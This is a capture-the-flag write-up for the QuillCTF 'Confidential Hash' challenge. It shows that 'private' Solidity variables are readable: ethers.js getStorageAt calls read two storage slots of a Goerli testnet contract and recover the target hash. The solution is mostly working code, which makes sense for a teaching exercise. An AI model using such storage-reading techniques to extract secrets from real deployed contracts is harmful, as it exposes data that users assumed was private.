You are on page 1of 2

Confidential Hash - QuillCTF solution

Private variables can be read by outside world

Let's look at it 👍
STEPS TO ATTACK 👍
1. Ethereum stores contract data in 32 bytes slots (Each slot in memory can
store 32 bytes )
2. Looking at the contract we can see that slot 4 and slot 9 contains alicehash
and bobhash resp.
3. let target = "0xf8E9327E38Ceb39B1Ec3D26F5Fad09E426888E66"; //Goerli
Test Net
4.
5. const provider = new
ethers.providers.JsonRpcProvider(process.env.PROVIDER);
6.
7. const slot4 = await provider.getStorageAt(target, 4);
8. const slot9 = await provider.getStorageAt(target, 9);

3. After getting the values we will call hash function in the contract to get
keccak256 hash of alicehash and bobhash
4. We can verify that hash by calling checkthehash() in the contract .

RESULT 👍 (hash)
0x9ef416df0fda1100f986a774a4b5e98862857d91600d4f615de7187c70d
2b7bf

Script to find hash

https://github.com/vishesh0123/quillCTF/blob/main/scripts/Confidenti
al.js

You might also like